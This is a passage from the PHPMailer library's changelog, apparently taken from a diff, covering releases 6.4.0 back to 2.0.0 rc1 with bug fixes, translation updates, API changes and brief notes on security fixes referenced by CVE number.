method signature consistency in `doCallback` calls -* Ukrainian language update -* Add composer scripts for checking coding standards and running tests - -## Version 6.4.0 (March 31st, 2021) -* Revert change that made the `mail()` and sendmail transports set the envelope sender if one isn't explicitly provided, as it causes problems described in -* Check for mbstring extension before decoding addresss in `parseAddress` -* Add Serbian Latin translation (`sr_latn`) -* Enrol PHPMailer in Tidelift - -## Version 6.3.0 (February 19th, 2021) -* Handle early connection errors such as 421 during connection and EHLO states -* Switch to Github Actions for CI -* Generate debug output for `mail()`, sendmail, and qmail transports. Enable using the same mechanism as for SMTP: set `SMTPDebug` > 0 -* Make the `mail()` and sendmail transports set the envelope sender the same way as SMTP does, i.e. use whatever `From` is set to, only falling back to the `sendmail_from` php.ini setting if `From` is unset. This avoids errors from the `mail()` function if `Sender` is not set explicitly and php.ini is not configured. This is a minor functionality change, so bumps the minor version number. -* Extend `parseAddresses` to decode encoded names, improve tests - -## Version 6.2.0 -* PHP 8.0 compatibility, many thanks to @jrf_nl! -* Switch from PHP CS Fixer to PHP CodeSniffer for coding standards -* Create class constants for the debug levels in the POP3 class -* Improve French, Slovenian, and Ukrainian translations -* Improve file upload examples so file extensions are retained -* Resolve PHP 8 line break issues due to a very old PHP bug being fixed -* Avoid warnings when using old openssl functions -* Improve Travis-CI build configuration - -## Version 6.1.8 (October 9th, 2020) -* Mark `ext-hash` as required in composer.json. This has long been required, but now it will cause an error at install time rather than runtime, making it easier to diagnose -* Make file upload examples safer -* Update links to SMTP testing servers -* Avoid errors when set_time_limit is disabled (you need better hosting!) -* Allow overriding auth settings for local tests; makes it easy to run tests using HELO -* Recover gracefully from errors during keepalive sessions -* Add AVIF MIME type mapping -* Prevent duplicate `To` headers in BCC-only messages when using `mail()` -* Avoid file function problems when attaching files from Windows UNC paths -* Improve German, Bahasa Indonesian, Filipino translations -* Add Javascript-based example -* Increased test coverage - -## Version 6.1.7 (July 14th, 2020) -* Split SMTP connection into two separate methods -* Undo BC break in PHP versions 5.2.3 - 7.0.0 introduced in 6.1.2 when injecting callables for address validation and HTML to text conversion -* Save response to SMTP welcome banner as other responses are saved -* Retry stream_select if interrupted by a signal - -## Version 6.1.6 (May 27th, 2020) -* **SECURITY** Fix insufficient output escaping bug in file attachment names. CVE-2020-13625. Reported by Elar Lang of Clarified Security. -* Correct Armenian ISO language code from `am` to `hy`, add mapping for fallback -* Use correct timeout property in debug output - -## Version 6.1.5 (March 14th, 2020) -* Reject invalid custom headers that are empty or contain breaks -* Various fixes for DKIM issues, especially when using `mail()` transport -* Drop the `l=` length tag from DKIM signatures; it's a mild security risk -* Ensure CRLF is used explicitly when needed, rather than `static::$LE` -* Add a method for trimming header content consistently -* Some minor tweaks to resolve static analyser complaints -* Check that attachment files are readable both when adding *and* when sending -* Work around Outlook bug in mishandling MIME preamble -* Danish translation improvements - -## Version 6.1.4 (December 10th, 2019) -* Clean up hostname handling -* Avoid IDN error on older PHP versions, prep for PHP 8.0 -* Don't force RFC2047 folding unnecessarily -* Enable tests on full release of PHP 7.4 - -## Version 6.1.3 (November 21st, 2019) -* Fix an issue preventing injected debug handlers from working -* Fix an issue relating to connection timeout -* Add `SMTP::MAX_REPLY_LENGTH` constant -* Remove some dev dependencies; phpdoc no longer included -* Fix an issue where non-compliant servers returning bare codes caused an SMTP hang - -## Version 6.1.2 (November 13th, 2019) -* Substantial revision of DKIM header generation -* Use shorter hashes for auto-generated CID values -* Fix format of content-id headers, and only use them for inline attachments -* Remove all use of XHTML -* Lots of coding standards cleanup -* API docs are now auto-updated via GitHub actions -* Fix header separation bug created in 6.1.1 -* Fix misidentification of background attributes in SVG images in msgHTML - -## Version 6.1.1 (September 27th 2019) -* Fix misordered version tag - -## Version 6.1.0 (September 27th 2019) -* Multiple bug fixes for folding of long header lines, thanks to @caugner -* Add support for [RFC2387 child element content-type hint](https://tools.ietf.org/html/rfc2387#section-3.1) in `multipart/related` structures. -* Support for Ical event methods other than `REQUEST`, thanks to @puhr-mde -* Change header folding and param separation to use spaces instead of tabs -* Use ; to separate multiple MIME header params -* Add support for RFC3461 DSN messages -* IMAP example code fixed -* Use PHP temp streams instead of temp files -* Allow for longer SMTP error codes -* Updated Brazilian Portuguese translation -* Throw exceptions on invalid encoding values -* Add Afrikaans translation, thanks to @Donno191 -* Updated Farsi/Persian translation -* Add PHP 7.4 to test config -* Remove some ambiguity about setting XMailer property -* Improve error checking in mailing list example -* Drop PHP 5.5 from CI config as it's no longer supported by Travis-CI -* Fix S/MIME signing -* Add constants for encryption type -* More consistent use of constants for encryption, charset, encoding -* Add PHPMailer logo images - -## Version 6.0.7 (February 1st 2019) -* Include RedHat GPL Cooperation Commitment - see the `COMMITMENT` file for details. -* Don't exclude composer.json from git exports as it breaks composer updates in projects that use PHPMailer -* Updated Malay translation -* Fix language tests - -## Version 6.0.6 (November 14th 2018) -* **SECURITY** Fix potential object injection vulnerability. Reported by Sehun Oh of cyberone.kr. -* Added Tagalog translation, thanks to @StoneArtz -* Added Malagache translation, thanks to @Hackinet -* Updated Serbian translation, fixed incorrect language code, thanks to @mmilanovic4 -* Updated Arabic translations (@MicroDroid) -* Updated Hungarian translations -* Updated Dutch translations -* Updated Slovenian translation (@filips123) -* Updated Slovak translation (@pcmanik) -* Updated Italian translation (@sabas) -* Updated Norwegian translation (@aleskr) -* Updated Indonesian translation (@mylastof) -* Add constants for common values, such as `text/html` and `quoted-printable`, and use them -* Added support for copied headers in DKIM, helping with debugging, and an option to add extra headers to the DKIM signature. See DKIM_sign example for how to use them. Thanks to @gwi-mmuths. -* Add Campaign Monitor transaction ID pattern matcher -* Remove deprecated constant and ini values causing warnings in PHP 7.3, added PHP 7.3 build to Travis config. -* Expanded test coverage - -## Version 5.2.27 (November 14th 2018) -* **SECURITY** Fix potential object injection vulnerability. Reported by Sehun Oh of cyberone.kr. -* Note that the 5.2 branch is now deprecated and will not receive security updates after 31st December 2018. - -## Version 6.0.5 (March 27th 2018) -* Re-roll of 6.0.4 to fix missed version file entry. No code changes. - -## Version 6.0.4 (March 27th 2018) -* Add some modern MIME types -* Add Hindi translation (thanks to @dextel2) -* Improve composer docs -* Fix generation of path to language files - -## Version 6.0.3 (January 5th 2018) -* Correct DKIM canonicalization of line breaks for header & body - thanks to @themichaelhall -* Make dependence on ext-filter explicit in composer.json - -## Version 6.0.2 (November 29th 2017) -* Don't make max line length depend on line break format -* Improve Travis-CI config - thanks to Filippo Tessarotto -* Match SendGrid transaction IDs -* `idnSupported()` now static, as previously documented -* Improve error messages for invalid addresses -* Improve Indonesian translation (thanks to @januridp) -* Improve Esperanto translation (thanks to @dknacht) -* Clean up git export ignore settings for production and zip bundles -* Update license doc -* Updated upgrading docs -* Clarify `addStringEmbeddedImage` docs -* Hide auth credentials in all but lowest level debug output, prevents leakage in bug reports -* Code style cleanup - -## Version 6.0.1 (September 14th 2017) -* Use shorter Message-ID headers (with more entropy) to avoid iCloud blackhole bug -* Switch to Symfony code style (though it's not well defined) -* CI builds now apply syntax & code style checks, so make your PRs tidy! -* CI code coverage only applied on latest version of PHP to speed up builds (thanks to @Slamdunk for these CI changes) -* Remove `composer.lock` - it's important that libraries break early; keeping it is for apps -* Rename test scripts to PSR-4 spec -* Make content-id values settable on attachments, not just embedded items -* Add SMTP transaction IDs to callbacks & allow for future expansion -* Expand test coverage - -## Version 6.0 (August 28th 2017) -This is a major update that breaks backwards compatibility. - -* **Requires PHP 5.5 or later** -* **Uses the `PHPMailer\PHPMailer` namespace** -* File structure simplified and PSR-4 compatible, classes live in the `src/` folder -* The custom autoloader has been removed: [**use composer**](https://getcomposer.org)! -* Classes & Exceptions renamed to make use of the namespace -* Most statically called functions now use the `static` keyword instead of `self`, so it's possible to override static internal functions in subclasses, for example `validateAddress()` -* Complete RFC standardisation on CRLF (`\r\n`) line breaks for SMTP by default: - * `PHPMailer:$LE` defaults to CRLF - * All uses of `PHPMailer::$LE` property converted to use `static::$LE` constant for consistency and ease of overriding - * Similar changes to line break handling in SMTP and POP3 classes. - * Line break format for `mail()` transport is set automatically. - * Warnings emitted for buggy `mail()` in PHP versions 7.0.0 - 7.0.16 and 7.1.0 - 7.1.2; either upgrade or switch to SMTP. -* Extensive reworking of XOAUTH2, adding support for Google, Yahoo and Microsoft providers, thanks to @sherryl4george -* Major cleanup of docs and examples -* All elements previously marked as deprecated have been removed: - * `PHPMailer->Version` (replaced with `VERSION` constant) - * `PHPMailer->ReturnPath` - * `PHPMailer->PluginDir` - * `PHPMailer->encodeQPphp()` - * `SMTP->CRLF` (replaced with `LE` constant) - * `SMTP->Version` (replaced with `VERSION` constant) - * `SMTP->SMTP_PORT` (replaced with `DEFAULT_PORT` constant) - * `POP3->CRLF` (replaced with `LE` constant) - * `POP3->Version` (replaced with `VERSION` constant) - * `POP3->POP3_PORT` (replaced with `DEFAULT_PORT` constant) - * `POP3->POP3_TIMEOUT` (replaced with `DEFAULT_TIMEOUT` constant) -* NTLM authentication has been removed - it never worked anyway! - * `PHPMailer->Workstation` - * `PHPMailer->Realm` -* `SingleTo` functionality is deprecated; this belongs at a higher level - PHPMailer is not a mailing list system. -* `SMTP::authenticate` method signature changed -* `parseAddresses()` is now static -* `validateAddress()` is now called statically from `parseAddresses()` -* `idnSupported()` is now static and is called statically from `punyencodeAddress()` -* `PHPMailer->SingleToArray` is now protected -* `fixEOL()` method removed - it duplicates `PHPMailer::normalizeBreaks()`, so use that instead -* Don't try to use an auth mechanism if it's not supported by the server -* Reorder automatic AUTH mechanism selector to try most secure method first -* `Extras` classes have been removed - use alternative packages from [packagist.org](https://packagist.org) instead -* Better handling of automatic transfer encoding switch in the presence of long lines -* Simplification of address validation - now uses PHP's `FILTER_VALIDATE_EMAIL` pattern by default, retains advanced options -* `Debugoutput` can accept a PSR-3 logger instance -* To reduce code footprint, the examples folder is no longer included in composer deployments or github zip files -* Trap low-level errors in SMTP, reports via debug output -* More reliable folding of message headers -* Inject your own SMTP implementation via `setSMTPInstance()` instead of having to subclass and override `getSMTPInstance()`. -* Make obtaining SMTP transaction ID more reliable -* Better handling of unreliable PHP timeouts -* Made `SMTPDebug = 4` slightly less noisy - -## Version 5.2.25 (August 28th 2017) -* Make obtaining SMTP transaction ID more reliable -* Add Bosnian translation -* This is the last official release in the legacy PHPMailer 5.2 series; there may be future security patches (which will be found in the [5.2-stable branch](https://github.com/PHPMailer/PHPMailer/tree/5.2-stable)), but no further non-security PRs or issues will be accepted. Migrate to PHPMailer 6.0. - -## Version 5.2.24 (July 26th 2017) -* **SECURITY** Fix XSS vulnerability in one of the code examples, [CVE-2017-11503](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-11503). The `code_generator.phps` example did not filter user input prior to output. This file is distributed with a `.phps` extension, so it it not normally executable unless it is explicitly renamed, so it is safe by default. There was also an undisclosed potential XSS vulnerability in the default exception handler (unused by default). Patches for both issues kindly provided by Patrick Monnerat of the Fedora Project. -* Handle bare codes (an RFC contravention) in SMTP server responses -* Make message timestamps more dynamic - calculate the date separately for each message -* More thorough checks for reading attachments. -* Throw an exception when trying to send a message with an empty body caused by an internal error. -* Replaced all use of MD5 and SHA1 hash functions with SHA256. -* Now checks for invalid host strings when sending via SMTP. -* Include timestamps in HTML-format debug output -* Improve Turkish, Norwegian, Serbian, Brazilian Portuguese & simplified Chinese translations -* Correction of Serbian ISO language code from `sr` to `rs` -* Fix matching of multiple entries in `Host` to match IPv6 literals without breaking port selection (see #1094, caused by a3b4f6b) -* Better capture and reporting of SMTP connection errors - -## Version 5.2.23 (March 15th 2017) -* Improve trapping of TLS errors during connection so that they don't cause warnings, and are reported better in debug output -* Amend test suite so it uses PHPUnit version 4.8, compatible with older versions of PHP, instead of the version supplied by Travis-CI -* This forces pinning of some dev packages to older releases, but should make travis builds more reliable -* Test suite now runs on HHVM, and thus so should PHPMailer in general -* Improve Czech translations -* Add links to CVE-2017-5223 resources - -## Version 5.2.22 (January 5th 2017) -* **SECURITY** Fix [CVE-2017-5223](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5223), local file disclosure vulnerability if content passed to `msgHTML()` is sourced from unfiltered user input. Reported by Yongxiang Li of Asiasecurity. The fix for this means that calls to `msgHTML()` without a `$basedir` will not import images with relative URLs, and relative URLs containing `..` will be ignored. -* Add simple contact form example -* Emoji in test content - -## Version 5.2.21 (December 28th 2016) -* Fix missed number update in version file - no functional changes - -## Version 5.2.20 (December 28th 2016) -* **SECURITY** Critical security update for CVE-2016-10045 please update now! Thanks to [Dawid Golunski](https://legalhackers.com) and Paul Buonopane (@Zenexer). -* Note that this change will break VERP addresses in Sender if you're using mail() - workaround: use SMTP to localhost instead. - -## Version 5.2.19 (December 26th 2016) -* Minor cleanup - -## Version 5.2.18 (December 24th 2016) -* **SECURITY** Critical security update for CVE-2016-10033 please update now! Thanks to [Dawid Golunski](https://legalhackers.com). -* Add ability to extract the SMTP transaction ID from some common SMTP success messages -* Minor documentation tweaks - -## Version 5.2.17 (December 9th 2016) -* This is officially the last feature release of 5.2. Security fixes only from now on; use PHPMailer 6.0! -* Allow DKIM private key to be provided as a string -* Provide mechanism to allow overriding of boundary and message ID creation -* Improve Brazilian Portuguese, Spanish, Swedish, Romanian, and German translations -* PHP 7.1 support for Travis-CI -* Fix some language codes -* Add security notices -* Improve DKIM compatibility in older PHP versions -* Improve trapping and capture of SMTP connection errors -* Improve passthrough of error levels for debug output -* PHPDoc cleanup - -## Version 5.2.16 (June 6th 2016) -* Added DKIM example -* Fixed empty additional_parameters problem -* Fixed wrong version number in VERSION file! -* Improve line-length tests -* Use instance settings for SMTP::connect by default -* Use more secure auth mechanisms first - -## Version 5.2.15 (May 10th 2016) -* Added ability to inject custom address validators, and set the default validator -* Fix TLS 1.2 compatibility -* Remove some excess line breaks in MIME structure -* Updated Polish, Russian, Brazilian Portuguese, Georgian translations -* More DRY! -* Improve error messages -* Update dependencies -* Add example showing how to handle multiple form file uploads -* Improve SMTP example -* Improve Windows compatibility -* Use consistent names for temp files -* Fix gmail XOAUTH2 scope, thanks to @sherryl4george -* Fix extra line break in getSentMIMEMessage() -* Improve DKIM signing to use SHA-2 - -## Version 5.2.14 (Nov 1st 2015) -* Allow addresses with IDN (Internationalized Domain Name) in PHP 5.3+, thanks to @fbonzon -* Allow access to POP3 errors -* Make all POP3 private properties and methods protected -* **SECURITY** Fix vulnerability that allowed email addresses with line breaks (valid in RFC5322) to pass to SMTP, permitting message injection at the SMTP level. Mitigated in both the address validator and in the lower-level SMTP class. Thanks to Takeshi Terada. -* Updated Brazilian Portuguese translations (Thanks to @phelipealves) - -## Version 5.2.13 (Sep 14th 2015) -* Rename internal oauth class to avoid name clashes -* Improve Estonian translations - -## Version 5.2.12 (Sep 1st 2015) -* Fix incorrect composer package dependencies -* Skip existing embedded image `cid`s in `msgHTML` - -## Version 5.2.11 (Aug 31st 2015) -* Don't switch to quoted-printable for long lines if already using base64 -* Fixed Travis-CI config when run on PHP 7 -* Added Google XOAUTH2 authentication mechanism, thanks to @sherryl4george -* Add address parser for RFC822-format addresses -* Update MS Office MIME types -* Don't convert line breaks when using quoted-printable encoding -* Handle MS Exchange returning an invalid empty AUTH-type list in EHLO -* Don't set name or filename properties on MIME parts that don't have one - -## Version 5.2.10 (May 4th 2015) -* Add custom header getter -* Use `application/javascript` for .js attachments -* Improve RFC2821 compliance for timelimits, especially for end-of-data -* Add Azerbaijani translations (Thanks to @mirjalal) -* Minor code cleanup for robustness -* Add Indonesian translations (Thanks to @ceceprawiro) -* Avoid `error_log` Debugoutput naming clash -* Add ability to parse server capabilities in response to EHLO (useful for SendGrid etc) -* Amended default values for WordWrap to match RFC -* Remove html2text converter class (has incompatible license) -* Provide new mechanism for injecting html to text converters -* Improve pointers to docs and support in README -* Add example file upload script -* Refactor and major cleanup of EasyPeasyICS, now a lot more usable -* Make set() method simpler and more reliable -* Add Malay translation (Thanks to @nawawi) -* Add Bulgarian translation (Thanks to @mialy) -* Add Armenian translation (Thanks to Hrayr Grigoryan) -* Add Slovenian translation (Thanks to Klemen Tušar) -* More efficient word wrapping -* Add support for S/MIME signing with additional CA certificate (thanks to @IgitBuh) -* Fix incorrect MIME structure when using S/MIME signing and isMail() (#372) -* Improved checks and error messages for missing extensions -* Store and report SMTP errors more consistently -* Add MIME multipart preamble for better Outlook compatibility -* Enable TLS encryption automatically if the server offers it -* Provide detailed errors when individual recipients fail -* Report more errors when connecting -* Add extras classes to composer classmap -* Expose stream_context_create options via new SMTPOptions property -* Automatic encoding switch to quoted-printable if message lines are too long -* Add Korean translation (Thanks to @ChalkPE) -* Provide a pointer to troubleshooting docs on SMTP connection failure - -## Version 5.2.9 (Sept 25th 2014) -* **Important: The autoloader is no longer autoloaded by the PHPMailer class** -* Update html2text from https://github.com/mtibben/html2text -* Improve Arabic translations (Thanks to @tarekdj) -* Consistent handling of connection variables in SMTP and POP3 -* PHPDoc cleanup -* Update composer to use PHPUnit 4.1 -* Pass consistent params to callbacks -* More consistent handling of error states and debug output -* Use property defaults, remove constructors -* Remove unreachable code -* Use older regex validation pattern for troublesome PCRE library versions -* Improve PCRE detection in older PHP versions -* Handle debug output consistently, and always in UTF-8 -* Allow user-defined debug output method via a callable -* msgHTML now converts data URIs to embedded images -* SMTP::getLastReply() will now always be populated -* Improved example code in README -* Ensure long filenames in Content-Disposition are encoded correctly -* Simplify SMTP debug output mechanism, clarify levels with constants -* Add SMTP connection check example -* Simplify examples, don't use mysql* functions - -## Version 5.2.8 (May 14th 2014) -* Increase timeout to match RFC2821 section 4.5.3.2 and thus not fail greetdelays, fixes #104 -* Add timestamps to default debug output -* Add connection events and new level 3 to debug output options -* Chinese language update (Thanks to @binaryoung) -* Allow custom Mailer types (Thanks to @michield) -* Cope with spaces around SMTP host specs -* Fix processing of multiple hosts in connect string -* Added Galician translation (Thanks to @donatorouco) -* Autoloader now prepends -* Docs updates -* Add Latvian translation (Thanks to @eddsstudio) -* Add Belarusian translation (Thanks to @amaksymiuk) -* Make autoloader work better on older PHP versions -* Avoid double-encoding if mbstring is overloading mail() -* Add Portuguese translation (Thanks to @Jonadabe) -* Make quoted-printable encoder respect line ending setting -* Improve Chinese translation (Thanks to @PeterDaveHello) -* Add Georgian translation (Thanks to @akalongman) -* Add Greek translation (Thanks to @lenasterg) -* Fix serverHostname on PHP < 5.3 -* Improve performance of SMTP class -* Implement automatic 7bit downgrade -* Add Vietnamese translation (Thanks to @vinades) -* Improve example images, switch to PNG -* Add Croatian translation (Thanks to @hrvoj3e) -* Remove setting the Return-Path and deprecate the Return-path property - it's just wrong! -* Fix language file loading if CWD has changed (@stephandesouza) -* Add HTML5 email validation pattern -* Improve Turkish translations (Thanks to @yasinaydin) -* Improve Romanian translations (Thanks to @aflorea) -* Check php.ini for path to sendmail/qmail before using default -* Improve Farsi translation (Thanks to @MHM5000) -* Don't use quoted-printable encoding for multipart types -* Add Serbian translation (Thanks to ajevremovic at gmail.com) -* Remove useless PHP5 check -* Use SVG for build status badges -* Store MessageDate on creation -* Better default behaviour for validateAddress - -## Version 5.2.7 (September 12th 2013) -* Add Ukrainian translation from @Krezalis -* Support for do_verp -* Fix bug in CRAM-MD5 AUTH -* Propagate Debugoutput option to SMTP class (@Reblutus) -* Determine MIME type of attachments automatically -* Add cross-platform, multibyte-safe pathinfo replacement (with tests) and use it -* Add a new 'html' Debugoutput type -* Clean up SMTP debug output, remove embedded HTML -* Some small changes in header formatting to improve IETF msglint test results -* Update test_script to use some recently changed features, rename to code_generator -* Generated code actually works! -* Update SyntaxHighlighter -* Major overhaul and cleanup of example code -* New PHPMailer graphic -* msgHTML now uses RFC2392-compliant content ids -* Add line break normalization function and use it in msgHTML -* Don't set unnecessary reply-to addresses -* Make fakesendmail.sh a bit cleaner and safer -* Set a content-transfer-encoding on multiparts (fixes msglint error) -* Fix cid generation in msgHTML (Thanks to @digitalthought) -* Fix handling of multiple SMTP servers (Thanks to @NanoCaiordo) -* SMTP->connect() now supports stream context options (Thanks to @stanislavdavid) -* Add support for iCal event alternatives (Thanks to @reblutus) -* Update to Polish language file (Thanks to Krzysztof Kowalewski) -* Update to Norwegian language file (Thanks to @datagutten) -* Update to Hungarian language file (Thanks to @dominicus-75) -* Add Persian/Farsi translation from @jaii -* Make SMTPDebug property type match type in SMTP class -* Add unit tests for DKIM -* Major refactor of SMTP class -* Reformat to PSR-2 coding standard -* Introduce autoloader -* Allow overriding of SMTP class -* Overhaul of PHPDocs -* Fix broken Q-encoding -* Czech language update (Thanks to @nemelu) -* Removal of excess blank lines in messages -* Added fake POP server and unit tests for POP-before-SMTP - -## Version 5.2.6 (April 11th 2013) -* Reflect move to PHPMailer GitHub organisation at https://github.com/PHPMailer/PHPMailer -* Fix unbumped version numbers -* Update packagist.org with new location -* Clean up Changelog - -## Version 5.2.5 (April 6th 2013) -* First official release after move from Google Code -* Fixes for qmail when sending via mail() -* Merge in changes from Google code 5.2.4 release -* Minor coding standards cleanup in SMTP class -* Improved unit tests, now tests S/MIME signing -* Travis-CI support on GitHub, runs tests with fake SMTP server - -## Version 5.2.4 (February 19, 2013) -* Fix tag and version bug. -* un-deprecate isSMTP(), isMail(), IsSendmail() and isQmail(). -* Numerous translation updates - -## Version 5.2.3 (February 8, 2013) -* Fix issue with older PCREs and ValidateAddress() (Bugz: 124) -* Add CRAM-MD5 authentication, thanks to Elijah madden, https://github.com/okonomiyaki3000 -* Replacement of obsolete Quoted-Printable encoder with a much better implementation -* Composer package definition -* New language added: Hebrew - -## Version 5.2.2 (December 3, 2012) -* Some fixes and syncs from https://github.com/Synchro/PHPMailer -* Add Slovak translation, thanks to Michal Tinka - -## Version 5.2.2-rc2 (November 6, 2012) -* Fix SMTP server rotation (Bugz: 118) -* Allow override of autogen'ed 'Date' header (for Drupal's - og_mailinglist module) -* No whitespace after '-f' option (Bugz: 116) -* Work around potential warning (Bugz: 114) - -## Version 5.2.2-rc1 (September 28, 2012) -* Header encoding works with long lines (Bugz: 93) -* Turkish language update (Bugz: 94) -* undefined $pattern in EncodeQ bug squashed (Bugz: 98) -* use of mail() in safe_mode now works (Bugz: 96) -* ValidateAddress() now 'public static' so people can override the - default and use their own validation scheme. -* ValidateAddress() no longer uses broken FILTER_VALIDATE_EMAIL -* Added in AUTH PLAIN SMTP authentication - -## Version 5.2.2-beta2 (August 17, 2012) -* Fixed Postfix VERP support (Bugz: 92) -* Allow action_function callbacks to pass/use - the From address (passed as final param) -* Prevent inf look for get_lines() (Bugz: 77) -* New public var ($UseSendmailOptions). Only pass sendmail() - options iff we really are using sendmail or something sendmail - compatible. (Bugz: 75) -* default setting for LE returned to "\n" due to popular demand. - -## Version 5.2.2-beta1 (July 13, 2012) -* Expose PreSend() and PostSend() as public methods to allow - for more control if serializing message sending. -* GetSentMIMEMessage() only constructs the message copy when - needed. Save memory. -* Only pass params to mail() if the underlying MTA is - "sendmail" (as defined as "having the string sendmail - in its pathname") [#69] -* Attachments now work with Amazon SES and others [Bugz#70] -* Debug output now sent to stdout (via echo) or error_log [Bugz#5] -* New var: Debugoutput (for above) [Bugz#5] -* SMTP reads now Timeout aware (new var: Timeout=15) [Bugz#71] -* SMTP reads now can have a Timelimit associated with them - (new var: Timelimit=30)[Bugz#71] -* Fix quoting issue associated with charsets -* default setting for LE is now RFC compliant: "\r\n" -* Return-Path can now be user defined (new var: ReturnPath) - (the default is "" which implies no change from previous - behavior, which was to use either From or Sender) [Bugz#46] -* X-Mailer header can now be disabled (by setting to a - whitespace string, eg " ") [Bugz#66] -* Bugz closed: #68, #60, #42, #43, #59, #55, #66, #48, #49, - #52, #31, #41, #5. #70, #69 - -## Version 5.2.1 (January 16, 2012) -* Closed several bugs #5 -* Performance improvements -* MsgHTML() now returns the message as required. -* New method: GetSentMIMEMessage() (returns full copy of sent message) - -## Version 5.2 (July 19, 2011) -* protected MIME body and header -* better DKIM DNS Resource Record support -* better aly handling -* htmlfilter class added to extras -* moved to Apache Extras - -## Version 5.1 (October 20, 2009) -* fixed filename issue with AddStringAttachment (thanks to Tony) -* fixed "SingleTo" property, now works with Senmail, Qmail, and SMTP in - addition to PHP mail() -* added DKIM digital signing functionality, new properties: - - DKIM_domain (sets the domain name) - - DKIM_private (holds DKIM private key) - - DKIM_passphrase (holds your DKIM passphrase) - - DKIM_selector (holds the DKIM "selector") - - DKIM_identity (holds the identifying email address) -* added callback function support - - callback function parameters include: - result, to, cc, bcc, subject and body - - see the test/test_callback.php file for usage. -* added "auto" identity functionality - - can automatically add: - - Return-path (if Sender not set) - - Reply-To (if ReplyTo not set) - - can be disabled: - - $mail->SetFrom('yourname@yourdomain.com','First Last',false); - - or by adding the $mail->Sender and/or $mail->ReplyTo properties - -Note: "auto" identity added to help with emails ending up in spam or junk boxes because of missing headers - -## Version 5.0.2 (May 24, 2009) -* Fix for missing attachments when inline graphics are present -* Fix for missing Cc in header when using SMTP (mail was sent, - but not displayed in header -- Cc receiver only saw email To: - line and no Cc line, but did get the email (To receiver - saw same) - -## Version 5.0.1 (April 05, 2009) -* Temporary fix for missing attachments - -## Version 5.0.0 (April 02, 2009) -With the release of this version, we are initiating a new version numbering -system to differentiate from the PHP4 version of PHPMailer. -Most notable in this release is fully object oriented code. - -### class.smtp.php: -* Refactored class.smtp.php to support new exception handling -* code size reduced from 29.2 Kb to 25.6 Kb -* Removed unnecessary functions from class.smtp.php: - - public function Expand($name) { - - public function Help($keyword="") { - - public function Noop() { - - public function Send($from) { - - public function SendOrMail($from) { - - public function Verify($name) { - -### class.phpmailer.php: -* Refactored class.phpmailer.php with new exception handling -* Changed processing functionality of Sendmail and Qmail so they cannot be - inadvertently used -* removed getFile() function, just became a simple wrapper for - file_get_contents() -* added check for PHP version (will gracefully exit if not at least PHP 5.0) -* enhanced code to check if an attachment source is the same as an embedded or - inline graphic source to eliminate duplicate attachments - -### New /test_script -We have written a test script you can use to test the script as part of your -installation. Once you press submit, the test script will send a multi-mime -email with either the message you type in or an HTML email with an inline -graphic. Two attachments are included in the email (one of the attachments -is also the inline graphic so you can see that only one copy of the graphic -is sent in the email). The test script will also display the functional -script that you can copy/paste to your editor to duplicate the functionality. - -### New examples -All new examples in both basic and advanced modes. Advanced examples show - Exception handling. - -### PHPDocumentator (phpdocs) documentation for PHPMailer version 5.0.0 -All new documentation - -## Version 2.3 (November 06, 2008) -* added Arabic language (many thanks to Bahjat Al Mostafa) -* removed English language from language files and made it a default within - class.phpmailer.php - if no language is found, it will default to use - the english language translation -* fixed public/private declarations -* corrected line 1728, $basedir to $directory -* added $sign_cert_file to avoid improper duplicate use of $sign_key_file -* corrected $this->Hello on line 612 to $this->Helo -* changed default of $LE to "\r\n" to comply with RFC 2822. Can be set by the user - if default is not acceptable -* removed trim() from return results in EncodeQP -* /test and three files it contained are removed from version 2.3 -* fixed phpunit.php for compliance with PHP5 -* changed $this->AltBody = $textMsg; to $this->AltBody = html_entity_decode($textMsg); -* We have removed the /phpdoc from the downloads. All documentation is now on - the http://phpmailer.codeworxtech.com website. - -## Version 2.2.1 () July 19 2008 -* fixed line 1092 in class.smtp.php (my apologies, error on my part) - -## Version 2.2 () July 15 2008 -* Fixed redirect issue (display of UTF-8 in thank you redirect) -* fixed error in getResponse function declaration (class.pop3.php) -* PHPMailer now PHP6 compliant -* fixed line 1092 in class.smtp.php (endless loop from missing = sign) - -## Version 2.1 (Wed, June 04 2008) -NOTE: WE HAVE A NEW LANGUAGE VARIABLE FOR DIGITALLY SIGNED S/MIME EMAILS. IF YOU CAN HELP WITH LANGUAGES OTHER THAN ENGLISH AND SPANISH, IT WOULD BE APPRECIATED. - -* added S/MIME functionality (ability to digitally sign emails) - BIG THANKS TO "sergiocambra" for posting this patch back in November 2007. - The "Signed Emails" functionality adds the Sign method to pass the private key - filename and the password to read it, and then email will be sent with - content-type multipart/signed and with the digital signature attached. -* fully compatible with E_STRICT error level - - Please note: - In about half the test environments this development version was subjected - to, an error was thrown for the date() functions used (line 1565 and 1569). - This is NOT a PHPMailer error, it is the result of an incorrectly configured - PHP5 installation. The fix is to modify your 'php.ini' file and include the - date.timezone = Etc/UTC (or your own zone) - directive, to your own server timezone - - If you do get this error, and are unable to access your php.ini file: - In your PHP script, add - `date_default_timezone_set('Etc/UTC');` - - do not try to use - `$myVar = date_default_timezone_get();` - as a test, it will throw an error. -* added ability to define path (mainly for embedded images) - function `MsgHTML($message,$basedir='')` ... where: - `$basedir` is the fully qualified path -* fixed `MsgHTML()` function: - - Embedded Images where images are specified by `://` will not be altered or embedded -* fixed the return value of SMTP exit code ( pclose ) -* addressed issue of multibyte characters in subject line and truncating -* added ability to have user specified Message ID - (default is still that PHPMailer create a unique Message ID) -* corrected unidentified message type to 'application/octet-stream' -* fixed chunk_split() multibyte issue (thanks to Colin Brown, et al). -* added check for added attachments -* enhanced conversion of HTML to text in MsgHTML (thanks to "brunny") - -## Version 2.1.0beta2 (Sun, Dec 02 2007) -* implemented updated EncodeQP (thanks to coolbru, aka Marcus Bointon) -* finished all testing, all known bugs corrected, enhancements tested - -Note: will NOT work with PHP4. - -Please note, this is BETA software **DO NOT USE THIS IN PRODUCTION OR LIVE PROJECTS; INTENDED STRICTLY FOR TESTING** - -## Version 2.1.0beta1 -Please note, this is BETA software -** DO NOT USE THIS IN PRODUCTION OR LIVE PROJECTS - INTENDED STRICTLY FOR TESTING - -## Version 2.0.0 rc2 (Fri, Nov 16 2007), interim release -* implements new property to control VERP in class.smtp.php - example (requires instantiating class.smtp.php): - $mail->do_verp = true; -* POP-before-SMTP functionality included, thanks to Richard Davey - (see class.pop3.php & pop3_before_smtp_test.php for examples) -* included example showing how to use PHPMailer with GMAIL -* fixed the missing Cc in SendMail() and Mail() - -## Version 2.0.0 rc1 (Thu, Nov 